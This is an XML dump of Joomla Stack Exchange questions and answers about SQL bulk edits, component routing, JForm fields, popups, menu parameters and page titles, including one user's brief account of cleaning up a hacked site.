  <row Id="4301" PostTypeId="1" AcceptedAnswerId="4303" CreationDate="2014-09-02T14:03:34.323" Score="2" ViewCount="315" Body="&lt;p&gt;Using an &quot;find and replace&quot; chrome's app, I made some changes in the fulltext field of 300 joomla articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could save each row one by one using the &quot;go&quot; button under each row (cf picture) but is there a way to save all the change (made in several rows) in once?  I did try to use the &quot;go&quot; button at the bottom of the edit page but without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `fulltext` &#xA;FROM kms_content&#xA;WHERE catid&#xA;IN ( 16, 17, 18, 19, 20, 21, 22 ) &#xA;LIMIT 0 , 500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HUkUr.jpg&quot; alt=&quot;the editing option&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KNePO.jpg&quot; alt=&quot;go button to save a single row&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8swMb.jpg&quot; alt=&quot;go button at the bottom&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2014-09-02T14:27:22.737" LastActivityDate="2014-09-02T14:27:22.737" Title="phpmyadmin: how to save changes made on multiple rows using &quot;edit&quot;" Tags="|joomla-3.x|mysql|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4302" PostTypeId="2" ParentId="4299" CreationDate="2014-09-02T14:09:57.407" Score="2" Body="&lt;p&gt;You can write a component and define &lt;code&gt;build&lt;/code&gt; and &lt;code&gt;parse&lt;/code&gt; methods (AKA &lt;code&gt;YOURCOMPONENTBuildRoute&lt;/code&gt; and &lt;code&gt;YOURCOMPONENTParseRoute&lt;/code&gt; functions) in your component's &lt;code&gt;router.php&lt;/code&gt; instead of creating physical directories. Then, you need to create a menu with alias of &lt;code&gt;user&lt;/code&gt; or &lt;code&gt;users&lt;/code&gt; and link it to your component.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-09-02T14:09:57.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4303" PostTypeId="2" ParentId="4301" CreationDate="2014-09-02T14:26:24.583" Score="3" Body="&lt;pre&gt;&lt;code&gt;UPDATE kms_content SET fulltext = REPLACE (fulltext, 'text to find', 'text to replace') WHERE catid IN (16, 17, 18, 19, 20, 21, 22);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-09-02T14:26:24.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4304" PostTypeId="2" ParentId="4299" CreationDate="2014-09-02T14:28:31.137" Score="4" Body="&lt;p&gt;There is a free module available at JED that can be configured to allow users to upload files to a folder with their username. Take a look at &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/file-management/8424&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simple File Upload&lt;/a&gt;. I've used it for one project, and it works fine, but at the end it depends on your specific requirements.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;From the description:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It includes the following key features:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Multiple modules on the same page with different settings&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;Add Note&amp;quot; to uploaded files&lt;/li&gt;&#xA;&lt;li&gt;Image re-size&lt;/li&gt;&#xA;&lt;li&gt;Automated thumbnail creation for images&lt;/li&gt;&#xA;&lt;li&gt;Image compress for JPEG and PNG&lt;/li&gt;&#xA;&lt;li&gt;Now supports both &amp;quot;User Named Directory&amp;quot; and &amp;quot;User Defined Directory&amp;quot;! (see below)&lt;/li&gt;&#xA;&lt;li&gt;CAPTCHA&lt;/li&gt;&#xA;&lt;li&gt;List files in upload directory in pop-up (FancyBox)&lt;/li&gt;&#xA;&lt;li&gt;Multiple files upload&lt;/li&gt;&#xA;&lt;li&gt;Notification e-mail&lt;/li&gt;&#xA;&lt;li&gt;And more...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Other similar extensions might be found at &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/file-management&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/file-management&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-02T14:28:31.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4305" PostTypeId="1" CreationDate="2014-09-02T14:45:30.140" Score="5" ViewCount="561" Body="&lt;p&gt;Joomla includes many built-in filds that can be used in the XML manifest file (&lt;a href=&quot;https://joomla.stackexchange.com/questions/4114/available-fields-in-joomla-xml-manifest/4115#4115&quot;&gt;Available fields in Joomla XML manifest&lt;/a&gt;), but is it possible to use them to build forms for the visitors, in a module or maybe in an article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, can I add a color picker to a front-end form? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;backgroundcolor&quot; type=&quot;color&quot; default=&quot;#eee&quot; label=&quot;Color selector field&quot; description=&quot;TPL_BEEZ3_FIELD_HEADER_BACKGROUND_COLOR_DESC&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(this is from the xml file, but I would like to implement something similar in an article)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-09-02T15:43:59.287" Title="Joomla XML form fields in content" Tags="|xml|content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4306" PostTypeId="2" ParentId="4305" CreationDate="2014-09-02T15:43:59.287" Score="4" Body="&lt;p&gt;Yes, with Joomla's &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JForm.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JForm&lt;/a&gt;, you can use them virtually anywhere - here's a &lt;a href=&quot;https://www.ostraining.com/blog/how-tos/development/getting-started-with-jform/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; that might help, and an example to &lt;a href=&quot;http://docs.joomla.org/Creating_a_custom_form_field_type#Location_of_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom field&lt;/a&gt; in a content plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot; &amp;gt;&#xA;         &amp;lt;fieldset name=&quot;params&quot; &amp;gt;&#xA;            &amp;lt;field&#xA;               name=&quot;content_myfield&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;PLG_CONTENT_GDP_MYFIELD&quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The full example for this code is at &lt;a href=&quot;https://joomla.stackexchange.com/questions/2395/how-to-save-custom-fields-in-core-components/2397#2397&quot;&gt;How to save Custom Fields in Core components&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-09-02T15:43:59.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4307" PostTypeId="2" ParentId="4299" CreationDate="2014-09-02T15:51:41.813" Score="7" Body="&lt;p&gt;If you &lt;a href=&quot;http://docs.joomla.org/Creating_a_Plugin_for_Joomla&quot;&gt;write a small User Plugin&lt;/a&gt;, you can use something like this to create the folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgUserExample extends JPlugin&#xA;{&#xA;    public function onUserAfterSave($user, $isnew, $success, $msg)&#xA;    { &#xA;        if($isnew) {&#xA;            // do something&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-02T15:51:41.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4308" PostTypeId="2" ParentId="4296" CreationDate="2014-09-02T15:55:05.140" Score="1" Body="&lt;p&gt;Joomla can do all those things, but because it appears to be highly specialized, you will almost certainly have to do some custom coding.  There are hundreds of extensions that could do part of what you're doing, so it become a case of determining which Extension comes closest, and what custom code you'd have to add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use jQuery to create customized UI's for content editing, then a series of PHP scripts to trade all the info between systems, servers, and databases.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-02T15:55:05.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4309" PostTypeId="1" AcceptedAnswerId="4327" CreationDate="2014-09-02T19:01:13.243" Score="5" ViewCount="680" Body="&lt;p&gt;This seems to be a bit out of my league and knowledge of MySQL. So if someone can help it would be much appreciated.&lt;/p&gt;&#xA;&lt;p&gt;I would like to do the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter/define a keyword e.g. &lt;code&gt;mercedes&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find all K2 articles that have that keyword in the title&lt;/li&gt;&#xA;&lt;li&gt;Than to each of those articles assign my keyword &lt;code&gt;mercedes&lt;/code&gt; as a tag.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now... There are three tables with relevant columns listed:&lt;/p&gt;&#xA;&lt;h3&gt;k2_items&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;id&lt;/code&gt;, &lt;code&gt;title&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3&gt;k2_tags&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;id&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;published&lt;/code&gt; (value 1 is assigned if tag is published)&lt;/p&gt;&#xA;&lt;h3&gt;k2_tags_xref&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;id&lt;/code&gt;, &lt;code&gt;tagID&lt;/code&gt;, &lt;code&gt;itemID&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, query should select all items from &lt;code&gt;k2_items&lt;/code&gt; table that have &lt;code&gt;keyword&lt;/code&gt; in their title, check if &lt;code&gt;keyword&lt;/code&gt; is already defined as &lt;code&gt;tag&lt;/code&gt; in &lt;code&gt;k2_tags&lt;/code&gt;, if not than create a new tag. After that, new &lt;code&gt;k2_tags_xref&lt;/code&gt; entry should be generated to connect &lt;code&gt;keyword&lt;/code&gt; tag with K2 article item.&lt;/p&gt;&#xA;&lt;p&gt;I still didn't have database course on my university so I'm kind of out of my league with this one, and it was supposed to be just a simple touchup for the site I'm developing.&lt;/p&gt;&#xA;&lt;p&gt;Any help with this would be much appreciated, and I'm sure it'll help community later on.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-02-03T12:14:50.833" Title="K2 Add tag to article if the keyword is in the article title" Tags="|mysql|tags|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4311" PostTypeId="1" AcceptedAnswerId="4312" CreationDate="2014-09-02T23:35:42.937" Score="6" ViewCount="229" Body="&lt;p&gt;My goal is to highlight a help area the first time a logged in user goes to a specific page.  The page has lots of complicated functions and it is a constant source of questions.  Ideally this would give the users a readily available source of answers for their questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want this to happen every time they log in.  Pushing help at users when they don't need it just tends to irritate people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My compromise is to see if a user have been on the page before and give them additional information if they have not been to that location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I would do this?  I am looking for either PHP, Javascript or a plugin that would help me accomplish the goal.&lt;/p&gt;&#xA;" OwnerUserId="1759" LastEditorUserId="22" LastEditDate="2014-09-03T01:34:40.653" LastActivityDate="2014-09-03T01:34:40.653" Title="Is there a way to determine if a logged in user has been to the current page?" Tags="|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4312" PostTypeId="2" ParentId="4311" CreationDate="2014-09-03T00:17:58.963" Score="3" Body="&lt;p&gt;I suggest you use a modal popup, there are several extensions that will display only the first time someone visits the page in question (this is determined by setting a cookie). Add your instructions in your popup, and maybe a link on your page to display the popup again in case the user wants to see the information again.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;NoNumber Modals&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;NoNumber has a nice popup extension called &lt;a href=&quot;http://www.nonumber.nl/extensions/modals&quot; rel=&quot;nofollow&quot;&gt;Modals&lt;/a&gt;, and it has an option to display popup only once (I think you need the pro version for this):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modal html=This modal will only show once|openOnce=1}{/modal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out the &lt;a href=&quot;http://demo.nonumber.nl/index.php/12-modals&quot; rel=&quot;nofollow&quot;&gt;demo here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Joomla Content Editor&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The Joomla Content Editor also has a function to display a popup only once. Read more here: &lt;a href=&quot;https://www.joomlacontenteditor.net/support/tutorials/jcemediabox/item/create-a-media-popup&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/support/tutorials/jcemediabox/item/create-a-media-popup&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/instructions.html&quot; class=&quot;jcepopup autopopup-single&quot; type=&quot;text/html&quot; id=&quot;autopopup&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Other extensions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can find other extensions at the &lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/popups-a-iframes&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-03T00:17:58.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4313" PostTypeId="1" AcceptedAnswerId="4326" CreationDate="2014-09-03T01:15:39.230" Score="3" ViewCount="886" Body="&lt;p&gt;I'm working on a website with ~100 menu items (type is &quot;Single Article&quot;). Each menu item has it's own, unique settings under the &quot;Options&quot; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b7hHI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This obviously overrides the global settings, but I want to set it back to &quot;Use Global&quot; in order to control the settings from &quot;Global Settings&quot; in the article manager and have all articles look the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set &quot;Use Global&quot; for &lt;strong&gt;all options&lt;/strong&gt; in &lt;strong&gt;all menu items&lt;/strong&gt; at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought is to use a MySql query, but I'm not sure how it should be written and what database entry I should change.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2017-05-12T14:29:00.767" Title="Batch processing Menu Item options" Tags="|menu-item|content|global-configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4314" PostTypeId="2" ParentId="4296" CreationDate="2014-09-03T05:30:14.217" Score="2" Body="&lt;p&gt;The short answer is &quot;Yes&quot;, mostly because technically you can build systems for all of your tasks on top of Joomla. The better question though is &lt;strong&gt;should&lt;/strong&gt; you build these things on Joomla. And my answer to that is &quot;probably not&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the biggest benefits to working with Joomla (at least in my experience) is the plethora of existing components that you can utilize to complete tasks without having to code. And more importantly, these components have already been tested at least to a degree, so they are likely to be more robust and less buggy than new code that you write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While all of the things you list can be done in Joomla, I don't see anything that matches with how most people use Joomla. It looks like you want a piece of the admin interface (maybe) but none of the front-end display. This means that you will likely not find prebuilt pieces to fit your needs and will build a lot of this from scratch. And honestly, if you're going to build from scratch, your best bet is to build it in the language and framework that you know. (Which for me and others here, is Joomla, so we would build it in Joomla. If that is true for you, do the same).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As an aside, I would recommend taking a look at the Joomla Framework (&lt;a href=&quot;http://framework.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://framework.joomla.org/&lt;/a&gt;). With this, you won't have a prebuilt CMS with an admin side and such. So you do end up building every piece you need, but the framework provides the structure for many of the base pieces (application, models, views, controllers, routers, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The framework also utilizes Composer (&lt;a href=&quot;https://getcomposer.org/&quot; rel=&quot;nofollow&quot;&gt;https://getcomposer.org/&lt;/a&gt;) and Packagist (&lt;a href=&quot;https://packagist.org/&quot; rel=&quot;nofollow&quot;&gt;https://packagist.org/&lt;/a&gt;), which allow you to pull in other packages into your application easily. I've used this to include, for example, the AWS SDK, which it looks like you will need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use Composer and Packagist without the framework, so you still aren't really locked in to Joomla to get this done.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-03T05:30:14.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4315" PostTypeId="2" ParentId="4313" CreationDate="2014-09-03T06:36:56.247" Score="0" Body="&lt;p&gt;In PHPmyAdmin you can write something like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `#__menu`&#xA;SET `params` = '{&quot;show_title&quot;:&quot;&quot;,&quot;link_titles&quot;:&quot;&quot;,&quot;show_intro&quot;:&quot;&quot;,&quot;info_block_position&quot;:&quot;&quot;,&quot;show_category&quot;:&quot;&quot;,&quot;link_category&quot;:&quot;&quot;,&quot;show_parent_category&quot;:&quot;&quot;,&quot;link_parent_category&quot;:&quot;&quot;,&quot;show_author&quot;:&quot;&quot;,&quot;link_author&quot;:&quot;&quot;,&quot;show_create_date&quot;:&quot;&quot;,&quot;show_modify_date&quot;:&quot;&quot;,&quot;show_publish_date&quot;:&quot;&quot;,&quot;show_item_navigation&quot;:&quot;&quot;,&quot;show_vote&quot;:&quot;&quot;,&quot;show_icons&quot;:&quot;&quot;,&quot;show_print_icon&quot;:&quot;&quot;,&quot;show_email_icon&quot;:&quot;&quot;,&quot;show_hits&quot;:&quot;&quot;,&quot;show_tags&quot;:&quot;&quot;,&quot;show_noauth&quot;:&quot;&quot;,&quot;urls_position&quot;:&quot;&quot;,&quot;menu-anchor_title&quot;:&quot;&quot;,&quot;menu-anchor_css&quot;:&quot;&quot;,&quot;menu_image&quot;:&quot;&quot;,&quot;menu_text&quot;:1,&quot;page_title&quot;:&quot;&quot;,&quot;show_page_heading&quot;:0,&quot;page_heading&quot;:&quot;&quot;,&quot;pageclass_sfx&quot;:&quot;&quot;,&quot;menu-meta_description&quot;:&quot;&quot;,&quot;menu-meta_keywords&quot;:&quot;&quot;,&quot;robots&quot;:&quot;&quot;,&quot;secure&quot;:0}'&#xA;WHERE `link` LIKE 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the update statement use the db prefix of your table.  &lt;/li&gt;&#xA;&lt;li&gt;The SET &lt;code&gt;params&lt;/code&gt; take the values for the menu item options. To set any parameter to the default setting, you just need to pass an empty value, e.g. &quot;show_title&quot;:&quot;&quot;. Check each param to make sure you that you have the desired setting.&lt;/li&gt;&#xA;&lt;li&gt;WHERE &lt;code&gt;link&lt;/code&gt; LIKE 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=%' is used to find only the single article items.&lt;/li&gt;&#xA;&lt;li&gt;Don't try this on a live website - and always have a backup of the database, before operating mass updates directly on it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Thanks to Fari comment, &lt;strong&gt;Be Aware&lt;/strong&gt;: This query will also affect params like Meta Description, Meta Keywords, Page Class, Browser Page Title &amp;amp; etc...&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-09-03T07:40:42.940" LastActivityDate="2014-09-03T07:40:42.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4316" PostTypeId="2" ParentId="2305" CreationDate="2014-09-03T09:33:55.243" Score="3" Body="&lt;p&gt;Today I have encountered same problem again. It is not joomla or its extensions. It is because I have set all the files and directories' CHMOD to 775. I have done it just to update joomla easier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading &lt;a href=&quot;http://www.itoctopus.com/the-mass-username-password-update-hack-in-joomla&quot; rel=&quot;nofollow&quot;&gt;http://www.itoctopus.com/the-mass-username-password-update-hack-in-joomla&lt;/a&gt;, I have looked at the change dates of directories and investigate ones which have different values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use WinSCP for FTP access. I have seen 5 .php files with shortcut icon which I cannot open to view their contents.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Settings.php&lt;/li&gt;&#xA;&lt;li&gt;e107_config.php&lt;/li&gt;&#xA;&lt;li&gt;config.php&lt;/li&gt;&#xA;&lt;li&gt;conf_global.php&lt;/li&gt;&#xA;&lt;li&gt;wp-config.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and also in includes directory&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;config.php&lt;/li&gt;&#xA;&lt;li&gt;configure.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have deleted them and restore the web sites from backup.&#xA;And I promise, I will not give write access for www-data group except images directory.&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2014-09-03T09:33:55.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4317" PostTypeId="1" AcceptedAnswerId="4318" CreationDate="2014-09-03T10:51:46.440" Score="6" ViewCount="13644" Body="&lt;p&gt;I have built a 3.x component using Component-Creator.com and I want to be able to set the page title to the item heading (taken from the component itself). I have tried the following code but it's not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$browserbar= &quot;$this-&amp;gt;item-&amp;gt;heading&quot;;&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;setTitle($browserbar);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This just output's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JObject-&amp;gt;heading&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as the Page Title in the browser&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="159" LastEditDate="2014-12-09T20:51:11.427" LastActivityDate="2016-03-17T09:06:45.813" Title="How can I set the page title from a component" Tags="|joomla-3.x|component|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4318" PostTypeId="2" ParentId="4317" CreationDate="2014-09-03T11:08:58.867" Score="9" Body="&lt;p&gt;Ok, I've solved it. I removed the &quot; &quot; marks around $this-&gt;item-&gt;heading as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$browserbar= $this-&amp;gt;item-&amp;gt;heading;&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;setTitle($browserbar);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now it's working!&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-03T11:08:58.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4319" PostTypeId="2" ParentId="3708" CreationDate="2014-09-03T12:34:10.430" Score="3" Body="&lt;p&gt;Your URL for the partial view / task needs to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_example&amp;amp;view=partial&amp;amp;format=raw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also create a new method in the controller, if needed. Make sure that the default &lt;code&gt;display()&lt;/code&gt; method is not overridden in a way that hinders the setting of a different view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now create the following files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JROOT/components/com_example/views/partial/view.raw.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class ExampleViewPartial extends JViewLegacy&#xA;{&#xA;    function display($tpl = null)&#xA;    {&#xA;        // Get the data needed for the view ...&#xA;&#xA;        // Call parent&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JROOT/components/com_example/views/partial/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo 'Hello partial world!';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-03T12:34:10.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4320" PostTypeId="2" ParentId="4033" CreationDate="2014-09-03T16:06:36.120" Score="3" Body="&lt;p&gt;The redirect is likely getting overridden by the save function in your controller. You should be able to override the redirect with the method that you listed, we just need to get it in the right spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you should have a &lt;code&gt;message&lt;/code&gt; controller on the front end. If you don't have a save function within this controller, add one like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($key = null, $urlVar = null)&#xA;{&#xA;    $return = parent::save($key, $urlVar);&#xA;    $this-&amp;gt;setRedirect( JRoute::_( 'index.php?option=com_contactpay&amp;amp;view=message' ));&#xA;    return $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This utilizes the existing save method in &lt;code&gt;JControllerForm&lt;/code&gt; that loads the model and saves the form, but it makes sure that your redirect overrides the default redirect to the list view.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-03T16:06:36.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4321" PostTypeId="2" ParentId="4317" CreationDate="2014-09-03T16:13:16.387" Score="7" Body="&lt;p&gt;An alternative to removing the quotes is to wrap the entire variable in curly brackets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$browserbar= &quot;{$this-&amp;gt;item-&amp;gt;heading}&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This causes PHP to process the entire piece as one variable instead of just processing &lt;code&gt;$this-&amp;gt;item&lt;/code&gt; (which is an object of the type &lt;code&gt;JObject&lt;/code&gt;, hence the output) followed literally by &lt;code&gt;-&amp;gt;heading&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, the quotes are not needed, but this could be useful for also appending a literal string to the contents of the heading property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$browserbar= &quot;The heading is {$this-&amp;gt;item-&amp;gt;heading}.&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-03T16:13:16.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
